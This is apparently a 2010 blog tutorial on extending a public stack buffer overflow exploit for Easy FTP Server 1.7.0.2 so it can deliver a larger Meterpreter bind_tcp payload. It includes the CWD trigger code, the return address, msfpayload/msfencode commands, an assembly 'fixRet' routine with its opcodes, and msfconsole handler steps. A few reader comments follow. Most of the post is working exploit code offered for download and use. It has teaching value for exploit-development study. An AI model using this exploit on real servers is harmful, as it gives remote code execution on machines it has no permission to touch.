Home > Uncategorized > Increasing Payload Size w/ Return Address Overwrite

Increasing Payload Size w/ Return Address Overwrite

February 28, 2010

While perusing Bugtraq recently, I came across Jon Butler’s Proof of Concept (PoC) exploit for Easy FTP Server 1.7.0.2, an obscure FTP server.  I’m no expert on exploit development, but it is something I’ve been trying to spend more time on lately.  For practice, I decided to try to modify Jon’s exploit for a more interesting payload (all the public exploits I’ve seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the somewhat small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon’s exploit with a Meterpreter payload (326 bytes).  Debugging experience and a basic understanding of stack based buffer overflow exploitation are required.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

How do we trigger the vulnerability? From Jon’s PoC:

Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.

Jon gets to the vulnerable code and attacks it (anon access is enabled by default):

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')

How much space do we have for our payload (shellcode) before the return address? Again, Jon already did the work for us:

nopsled = "\x90" * (268 - len(shellcode))

268 bytes is enough space to launch calc.exe, add a user account and some other items available to standard Metasploit payloads, but it is insufficient for something more exciting like a bind_tcp or Meterpreter payload:

$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)
[...snip...]

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
"\x00\x0a\x0d\xff\x2f\x5c"
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)

The Problem: How do we increase the amount of space available for our payload?

Referencing Jon’s PoC, one can easily deduce that Easy FTP Server wasn’t compiled with any stack protection (e.g. the /GS switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent. and isn’t a concern anyways since Jon returns to an address on the (eXecutable) stack – no need for even a JMP address here.  Note: a JMP address would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit.

First, let’s take a look at Jon’s return address:

ret = "\x58\xFD\x9A\x00" # 0x009AFD58

The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to strcpy(), then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn’t exactly the case; I could write past the NULL byte (more on this later).

Aside: if you weren’t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you’re still in luck: thanks to the little-endianness of Intel’s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.

I decided to press my luck and attempt to write beyond the NULL byte in the return address (I later found another exploit that would have saved me this trouble).  I replaced Jon’s payload with an INT3 instruction (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond ret. Pictured: my nopsled, Jon’s ret & a bunch of ‘A’s (it continues outside of the screenshot, obviously):

I inserted a bunch of 'A's (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over. I'm using Immunity Debugger here.

 

Get the modified code I used to do the above

I determined that I could write no more than 233 ‘A’s past the return address and still have reliable execution:

s.send('CWD ' + payload + 'A' * 233 + '\r\n')

Sweet… another 233 bytes!  Of course at this point I’ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you’re trying to be sneaky about the whole pwning thing.

So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = 505 bytes… more than enough space for the payloads I’m trying to inject.

Next Problem: Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.

It’s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.

Next solution: Modify the return address after we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function fixRet.

Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload, part1 | ret | payload, part2
--------------------------------------------------------

The payload is bisected by ret and is missing the 4 bytes that ret is occupying.  After fixRet executes, the stack will look like this:

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload..............................
--------------------------------------------------------

At this point I needed to decide what payload to use because I needed to know what I was going to overwrite ret with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the windows/meterpreter/bind_tcp windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  If I find time to rewrite this exploit using Metasploit’s framework, the following gcc / objdump steps will be unnecessary. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

I’m a nerd, but I don’t enjoy doing x86 binary in my head so I enlisted gcc & objdump to find the hex values required for such a fixRet operation.  (It took me a few minutes to set up objdump on OS X).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.

Excerpt from the C program (download the complete version):

#include <stdlib.h>

int main (void)
{    
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");
}

Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write after the NULL in ret, but could not have any NULLs before said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn’t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).

The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process “fix” the address of ret (by simply XORing it with all A’s).  The ret value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.

I translated this into hex values for our attack string (gcc compiles & assembles, objdump disassembles):

gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret

After running the program through gcc and objdump, I got my hex values (look at the main section):

31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)

Now we have fixRet, we can easily calculate our nopsled and of course we know ret and our payload.  We’re done!

I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.

Using the exploit (assuming meterpreter/bind_tcp payload):

(start Easy FTP Server 1.7.0.2 on victim machine)
./RCE_easy_ftp_server_1.7.0.2.py -t (victim IP) -p 21
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)
exploit

After the meterpreter dll is injected, you should have a working session :P

As always, comments are appreciated.  If I have time I’ll make this into a proper Metasploit module… none of this gcc / objdump silliness. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

About these ads
  1. April 15, 2010 at 5:08 pm | #1

    Nice post man!

  2. January 20, 2011 at 5:10 am | #3

    Great and clear information Paul,
    Thank you for this post!

  3. February 5, 2011 at 5:33 pm | #4

    Nice! That was actually my first 0day, now I know a lot more about exploitation techniques I should really write one that bypasses DEP & ASLR.

    Thanks for the acknowledgments in the post :)

    • February 5, 2011 at 5:40 pm | #5

      No problem. You prompted me to re-read some of what I posted. Turns out I made a few errors when I had written this, so I’ve made a few corrections.

  4. Ur
    March 19, 2011 at 1:52 pm | #6

    hello Paul .. Great tut .. I was tried it under winxp sp3 .. It is not work. I note there is just 50 A’s after ret address .. plus 268 before ret address . the total is 318 and this buffer not enough to run bind shell encode with filter bad char . if I try to increase the buffer more than 318 I will get seh overflow . when I check all dll’s include execute file all compile with safe seh exclude execute file . and last one (execute file )all it’s address start with Nulls . for me I cant pass this issue (Nulls).. I still try to find my way .. if you have tips help me to pass Nulls I will appreciated .. thanks

Comments are closed.
Follow

Get every new post delivered to your Inbox.

%d bloggers like this: